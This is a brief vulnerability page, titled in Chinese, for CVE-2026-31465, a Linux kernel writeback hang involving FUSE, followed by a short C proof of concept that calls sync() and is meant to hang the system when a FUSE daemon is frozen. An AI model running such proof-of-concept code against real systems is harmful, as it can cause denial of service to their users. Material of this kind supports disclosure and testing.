CVE-2026-31465 Linux内核writeback拒绝服务漏洞

#include <unistd.h> #include <stdio.h> /* * PoC for CVE-2026-31465: Linux Kernel Writeback Hang * Description: This PoC triggers the sync mechanism on a vulnerable FUSE setup. * Conditions: A FUSE filesystem must be mounted and the daemon must be frozen/unresponsive. */ int main() { printf("[+] Triggering sync to potentially hang the system...\n"); // sync() initiates writeback. On vulnerable kernels with FUSE, // this may block indefinitely if the flusher threads are stuck. sync(); printf("[-] Sync returned. System might not be vulnerable or conditions not met.\n"); return 0; }